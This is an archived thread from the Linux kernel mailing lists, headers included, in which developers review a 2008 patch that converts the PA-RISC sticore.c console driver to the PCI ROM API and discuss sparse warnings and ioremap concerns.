	m55MBMKD032249; Thu, 5 Jun 2008 15:11:22 -0700
In-Reply-To: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Spam-Status: No, hits=-4.819 required=5 tests=AWL, BAYES_00,
	OSDL_HEADER_SUBJECT_BRACKETED, PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
X-Spam-Score: 0.0 (/)
X-Spam-Report: Spam Filtering performed by sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	Report problems to
	http://sf.net/tracker/?func=add&group_id=1&atid=200001
X-BeenThere: linux-fbdev-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.8
Precedence: list
List-Id: <linux-fbdev-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=linux-fbdev-devel>
List-Post: <mailto:linux-fbdev-devel@lists.sourceforge.net>
List-Help: <mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=subscribe>
Original-Sender: linux-fbdev-devel-bounces@lists.sourceforge.net
Errors-To: linux-fbdev-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.fbdev.devel:11910 gmane.linux.ports.parisc:375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/375>

On Thu, 5 Jun 2008 23:13:27 +0200
Krzysztof Helt <krzysztof.h1@poczta.fm> wrote:

> From: Krzysztof Helt <krzysztof.h1@wp.pl>
> 
> Convert console/sticore.c file to use PCI ROM API.
> 
> Addresses http://bugzilla.kernel.org/show_bug.cgi?id=9425

I'm unable to understand that bug report.  Is this just a cleanup
or does it fix some runtime error, or...?

-------------------------------------------------------------------------
Check out the new SourceForge.net Marketplace.
It's the best place to buy or sell services for
just about anything Open Source.
http://sourceforge.net/services/buy/index.php

From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Thu, 05 Jun 2008 17:26:54 -0500
Lines: 98
Approved: news@gmane.org
Message-ID: <1212704814.4241.37.camel@localhost.localdomain>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212704827 18341 80.91.229.12 (5 Jun 2008 22:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Jun 2008 22:27:07 +0000 (UTC)
Cc: Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Krzysztof Helt <krzysztof.h1@poczta.fm>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 00:27:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4Nvw-0004x0-Gi
	for glpp-linux-parisc@gmane.org; Fri, 06 Jun 2008 00:27:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752066AbYFEW07 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 5 Jun 2008 18:26:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751713AbYFEW07
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 5 Jun 2008 18:26:59 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:41291 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751166AbYFEW06 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 5 Jun 2008 18:26:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 06C1884CB;
	Thu,  5 Jun 2008 17:26:55 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1212704816; bh=L02eOb2R4IVoiBmLhSGxz/5CD67Qur8gghG4jGR+t3
	Q=; l=3145; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=bAaC1KyfJiaej2kgh5EzH4mMHRkmqo3HoFE39
	ypR+xVzwzgJ04ZPqnlmI/u7MIeMuuMDn4KYjfs90VSq8tSGcKTcQdRxxuL8I6aNAk5/
	ActNq9gojQ/9dR42mGG/g8FX3U9zBjv/NfFflNNR9CGrpB5aoMMgrzTeL0Ke9o3ulH0
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id r4+gHjhyI7n1; Thu,  5 Jun 2008 17:26:54 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 907847F13;
	Thu,  5 Jun 2008 17:26:54 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1212704814; bh=L02eOb2R4IVoiBmLhSGxz/5CD67Qur8gghG4jGR+t3
	Q=; l=3145; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=ow5CU/a3U2h67z3RPC+VPZmyR98dd+IX3Tz4T
	dbU3YhioKnUKFSbxC/lYfFBkr/iLNRABNxjLyDKCF4egUkUsZEhPQHCtiKlIPtSvS0I
	ZC320szw+x4MU6yKV/vZxsXW9dYDHECEcBwO4bx5jd2S/q0onFoN4DwgKiocxMuVbP0
	=
In-Reply-To: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:376 gmane.linux.fbdev.devel:11911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/376>

On Thu, 2008-06-05 at 23:13 +0200, Krzysztof Helt wrote:
> From: Krzysztof Helt <krzysztof.h1@wp.pl>
> 
> Convert console/sticore.c file to use PCI ROM API.
> 
> Addresses http://bugzilla.kernel.org/show_bug.cgi?id=9425
> 
> Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> ---
> This patch was fixed and tested by Helge Deller on his
> PARISC machine.
> 
> 
> diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
> index e9ab657..df30499 100644
> --- a/drivers/video/console/sticore.c
> +++ b/drivers/video/console/sticore.c
> @@ -780,11 +780,13 @@ out_err:
>  }
>  
>  static struct sti_struct * __devinit
> -sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
> +sti_try_rom_generic(unsigned long address, unsigned long hpa,
> +		    struct pci_dev *pd)
>  {
> +	char __iomem *rom_base = (char __iomem *) address;
>  	struct sti_struct *sti;
>  	int ok;
> -	u32 sig;
> +	__le32 sig;
>  
>  	if (num_sti_roms >= MAX_STI_ROMS) {
>  		printk(KERN_WARNING "maximum number of STI ROMS reached !\n");
> @@ -808,7 +810,7 @@ test_rom:
>  	sig = gsc_readl(address);

Since gsc_readl() has (designedly) no endianness type, doesn't this give
a sparse warning?
 
>  	/* check for a PCI ROM structure */
> -	if ((le32_to_cpu(sig)==0xaa55)) {
> +	if (sig == cpu_to_le32(0xaa55)) {
>  		unsigned int i, rm_offset;
>  		u32 *rm;
>  		i = gsc_readl(address+0x04);
> @@ -868,10 +870,8 @@ test_rom:
>  	/* disable STI PCI ROM. ROM and card RAM overlap and
>  	 * leaving it enabled would force HPMCs
>  	 */
> -	if (sti->pd) {
> -		unsigned long rom_base;
> -		rom_base = pci_resource_start(sti->pd, PCI_ROM_RESOURCE);	
> -		pci_write_config_dword(sti->pd, PCI_ROM_ADDRESS, rom_base & ~PCI_ROM_ADDRESS_ENABLE);
> +	if (sti->pd && rom_base) {
> +		pci_unmap_rom(sti->pd, rom_base);
>  		DPRINTK((KERN_DEBUG "STI PCI ROM disabled\n"));
>  	}
>  
> @@ -930,28 +930,25 @@ static int __devinit sticore_pci_init(struct pci_dev *pd,
>  		const struct pci_device_id *ent)
>  {
>  #ifdef CONFIG_PCI
> -	unsigned long fb_base, rom_base;
> -	unsigned int fb_len, rom_len;
> +	unsigned long fb_base;
> +	unsigned int fb_len;
> +	char __iomem *rom_base;
> +	size_t rom_len;
>  	struct sti_struct *sti;
>  	
>  	pci_enable_device(pd);
>  
>  	fb_base = pci_resource_start(pd, 0);
>  	fb_len = pci_resource_len(pd, 0);
> -	rom_base = pci_resource_start(pd, PCI_ROM_RESOURCE);
> -	rom_len = pci_resource_len(pd, PCI_ROM_RESOURCE);
> -	if (rom_base) {
> -		pci_write_config_dword(pd, PCI_ROM_ADDRESS, rom_base | PCI_ROM_ADDRESS_ENABLE);
> -		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%08lx\n", rom_base));
> -	}
> +	rom_base = pci_map_rom(pd, &rom_len);

I'm really not sure this is such a good idea.  pci_map_rom() can do an
ioremap() on the region.  In that case, gsc_readl which punches through
our virtual memory into physical I/O space will fail.  What assurance do
we have that all STI roms are correctly set up so pci_map_rom() isn't
inclined to ioremap them?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.fbdev.devel,gmane.linux.ports.parisc
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI
	ROM API
Date: Fri, 6 Jun 2008 20:52:53 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20080606205253.6858ea7a.krzysztof.h1@poczta.fm>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
	<20080605151122.a9ac8fbe.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212778261 9404 80.91.229.12 (6 Jun 2008 18:51:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2008 18:51:01 +0000 (UTC)
Cc: deller@gmx.de, Jon Smirl <jonsmirl@yahoo.com>,
	linux-fbdev-devel@lists.sourceforge.net, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-fbdev-devel-bounces@lists.sourceforge.net Fri Jun 06 20:51:42 2008
Return-path: <linux-fbdev-devel-bounces@lists.sourceforge.net>
Envelope-to: glfd-linux-fbdev-devel@m.gmane.org
Original-Received: from lists-outbound.sourceforge.net ([66.35.250.225])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4h25-0000jN-LC
	for glfd-linux-fbdev-devel@m.gmane.org; Fri, 06 Jun 2008 20:51:26 +0200
Original-Received: from sc8-sf-list1-new.sourceforge.net (sc8-sf-list1-new-b.sourceforge.net [10.3.1.93])
	by sc8-sf-spam2.sourceforge.net (Postfix) with ESMTP
	id 8B303124AA; Fri,  6 Jun 2008 11:50:36 -0700 (PDT)
Original-Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92]
	helo=mail.sourceforge.net)
	by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43)
	id 1K4h1H-0001v0-B5 for linux-fbdev-devel@lists.sourceforge.net;
	Fri, 06 Jun 2008 11:50:35 -0700
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239])
	by mail.sourceforge.net with esmtp (Exim 4.44) id 1K4h1F-0008HI-Qc
	for linux-fbdev-devel@lists.sourceforge.net;
	Fri, 06 Jun 2008 11:50:35 -0700
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id C058D6658A9; Fri,  6 Jun 2008 20:50:31 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi03.poczta.interia.pl [10.217.12.3])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id 96E2E6658BE;
	Fri,  6 Jun 2008 20:50:30 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id 66A7D3C39B; Fri,  6 Jun 2008 20:50:30 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id 3ADBA3C366;
	Fri,  6 Jun 2008 20:50:25 +0200 (CEST)
In-Reply-To: <20080605151122.a9ac8fbe.akpm@linux-foundation.org>
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: 12e2b138
X-Spam-Score: 1.0 (+)
X-Spam-Report: Spam Filtering performed by sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	Report problems to
	http://sf.net/tracker/?func=add&group_id=1&atid=200001
	1.0 FORGED_RCVD_HELO       Received: contains a forged HELO
X-BeenThere: linux-fbdev-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.8
Precedence: list
List-Id: <linux-fbdev-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=linux-fbdev-devel>
List-Post: <mailto:linux-fbdev-devel@lists.sourceforge.net>
List-Help: <mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/linux-fbdev-devel>,
	<mailto:linux-fbdev-devel-request@lists.sourceforge.net?subject=subscribe>
Original-Sender: linux-fbdev-devel-bounces@lists.sourceforge.net
Errors-To: linux-fbdev-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.fbdev.devel:11925 gmane.linux.ports.parisc:377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/377>

On Thu, 5 Jun 2008 15:11:22 -0700
Andrew Morton <akpm@linux-foundation.org> wrote:

> On Thu, 5 Jun 2008 23:13:27 +0200
> Krzysztof Helt <krzysztof.h1@poczta.fm> wrote:
> 
> > From: Krzysztof Helt <krzysztof.h1@wp.pl>
> > 
> > Convert console/sticore.c file to use PCI ROM API.
> > 
> > Addresses http://bugzilla.kernel.org/show_bug.cgi?id=9425
> 
> I'm unable to understand that bug report.  Is this just a cleanup
> or does it fix some runtime error, or...?
> 

It is conversion to a new API after the API was introduced (code change/cleanup).

AFAIK, it does not fix any known error.

Regards,
Krzysztof

----------------------------------------------------------------------
Tanie rozmowy!
Sprawdz >>>  http://link.interia.pl/f1e22 


-------------------------------------------------------------------------
Check out the new SourceForge.net Marketplace.
It's the best place to buy or sell services for
just about anything Open Source.
http://sourceforge.net/services/buy/index.php

From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Fri, 6 Jun 2008 22:35:07 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20080606223507.0daf2b80.krzysztof.h1@poczta.fm>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
	<1212704814.4241.37.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212784398 30090 80.91.229.12 (6 Jun 2008 20:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2008 20:33:18 +0000 (UTC)
Cc: Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 22:33:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4id8-0005MZ-Oa
	for glpp-linux-parisc@gmane.org; Fri, 06 Jun 2008 22:33:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763460AbYFFUct (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2008 16:32:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932590AbYFFUct
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Jun 2008 16:32:49 -0400
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239]:8817 "EHLO
	smtp239.poczta.interia.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1762450AbYFFUcs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2008 16:32:48 -0400
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id 2296CD4F7F; Fri,  6 Jun 2008 22:32:46 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi01.poczta.interia.pl [10.217.12.1])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id 18FF4D4EF7;
	Fri,  6 Jun 2008 22:32:44 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id 68DF17698C3; Fri,  6 Jun 2008 22:32:44 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id 985B57698A1;
	Fri,  6 Jun 2008 22:32:36 +0200 (CEST)
In-Reply-To: <1212704814.4241.37.camel@localhost.localdomain>
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: 24e2b138
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:378 gmane.linux.fbdev.devel:11926
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/378>

On Thu, 05 Jun 2008 17:26:54 -0500
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> 
> I'm really not sure this is such a good idea.  pci_map_rom() can do an
> ioremap() on the region.  In that case, gsc_readl which punches through
> our virtual memory into physical I/O space will fail.  What assurance do
> we have that all STI roms are correctly set up so pci_map_rom() isn't
> inclined to ioremap them?
> 

I haven't thought about this. The ROM the Helge tested was obviously
set up correctly, otherwise reading the ROM signature would be impossible.

What is you advise for this patch James?

Regards,
Krzysztof

---------------------------------------------------------------
Sprawdz jak zdobyc zdrowy usmiech!
Kliknij >> http://link.interia.pl/f1e26

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Fri, 06 Jun 2008 23:23:10 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <4849AABE.7040805@gmx.de>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm> <1212704814.4241.37.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212787410 6808 80.91.229.12 (6 Jun 2008 21:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2008 21:23:30 +0000 (UTC)
Cc: Krzysztof Helt <krzysztof.h1@poczta.fm>,
	Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 23:24:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4jPv-0004kV-IK
	for glpp-linux-parisc@gmane.org; Fri, 06 Jun 2008 23:24:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755666AbYFFVXT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2008 17:23:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932116AbYFFVXT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Jun 2008 17:23:19 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:34802 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1757361AbYFFVXQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2008 17:23:16 -0400
Original-Received: (qmail invoked by alias); 06 Jun 2008 21:23:14 -0000
Original-Received: from mnhm-590f58b4.pool.einsundeins.de (EHLO halden.box) [89.15.88.180]
  by mail.gmx.net (mp032) with SMTP; 06 Jun 2008 23:23:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX186PRZXCVs6PfbSYsTF77Z8dbeivhxNooruvDTIKt
	dNaltRVIHYIXCl
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <1212704814.4241.37.camel@localhost.localdomain>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:379 gmane.linux.fbdev.devel:11928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/379>

James Bottomley wrote:
>>  static struct sti_struct * __devinit
>> -sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
>> +sti_try_rom_generic(unsigned long address, unsigned long hpa,
>> +		    struct pci_dev *pd)
>>  {
>> +	char __iomem *rom_base = (char __iomem *) address;
>>  	struct sti_struct *sti;
>>  	int ok;
>> -	u32 sig;
>> +	__le32 sig;
>>  
>>  	if (num_sti_roms >= MAX_STI_ROMS) {
>>  		printk(KERN_WARNING "maximum number of STI ROMS reached !\n");
>> @@ -808,7 +810,7 @@ test_rom:
>>  	sig = gsc_readl(address);
> 
> Since gsc_readl() has (designedly) no endianness type, doesn't this give
> a sparse warning?

No, it doesn't.
But maybe I tested it wrongly?

[hd@p100 linus-linux-2.6]# REAL_CC=hppa-linux-gcc cgcc -Wbitwise 
-Wp,-MD,drivers/video/console/.sticore.o.d  -nostdinc -isystem 
/opt/palinux33/lib/gcc-lib/hppa-linux/3.3.4/include -D__KERNEL__ 
-Iinclude  -include include/linux/autoconf.h -Wall -Wundef 
-Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common 
-Werror-implicit-function-declaration -Os   -pipe -mno-space-regs 
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 
-mschedule=7100LC -fomit-frame-pointer       -D"KBUILD_STR(s)=#s" 
-D"KBUILD_BASENAME=KBUILD_STR(sticore)" 
-D"KBUILD_MODNAME=KBUILD_STR(sticore)" -c -o 
drivers/video/console/sticore.o drivers/video/console/sticore.c
drivers/video/console/sticore.c:32:19: warning: symbol 'default_sti' was 
not declared. Should it be static?
drivers/video/console/sticore.c:241:1: warning: symbol 'sti_rom_copy' 
was not declared. Should it be static?
drivers/video/console/sticore.c:481:24: warning: symbol 
'sti_select_fbfont' was not declared. Should it be static?
drivers/video/console/sticore.c:544:24: warning: symbol 
'sti_select_font' was not declared. Should it be static?
drivers/video/console/sticore.c:710:16: warning: symbol 
'sti_get_wmode_rom' was not declared. Should it be static?
drivers/video/console/sticore.c:727:1: warning: symbol 'sti_read_rom' 
was not declared. Should it be static?
drivers/video/console/sticore.c:975:1: warning: symbol 'sti_pci_tbl' was 
not declared. Should it be static?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Fri, 06 Jun 2008 18:27:41 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1212794861.16182.39.camel@localhost.localdomain>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
	 <1212704814.4241.37.camel@localhost.localdomain>
	 <20080606223507.0daf2b80.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212794886 26568 80.91.229.12 (6 Jun 2008 23:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2008 23:28:06 +0000 (UTC)
Cc: Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Krzysztof Helt <krzysztof.h1@poczta.fm>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 07 01:28:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4lMO-0002Fm-Ia
	for glpp-linux-parisc@gmane.org; Sat, 07 Jun 2008 01:28:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933156AbYFFX1v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2008 19:27:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933364AbYFFX1u
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 6 Jun 2008 19:27:50 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:42659 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933302AbYFFX1t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2008 19:27:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4548584CB;
	Fri,  6 Jun 2008 18:27:47 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1212794867; bh=c8J+/yTMk6z1wN5iG8M6h/9AeC7CsOK6QHk9bQaCB/
	4=; l=1517; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=pGm/q2MmEKuSagEQzBV8PlkQQ7qe6RUcC5HWO
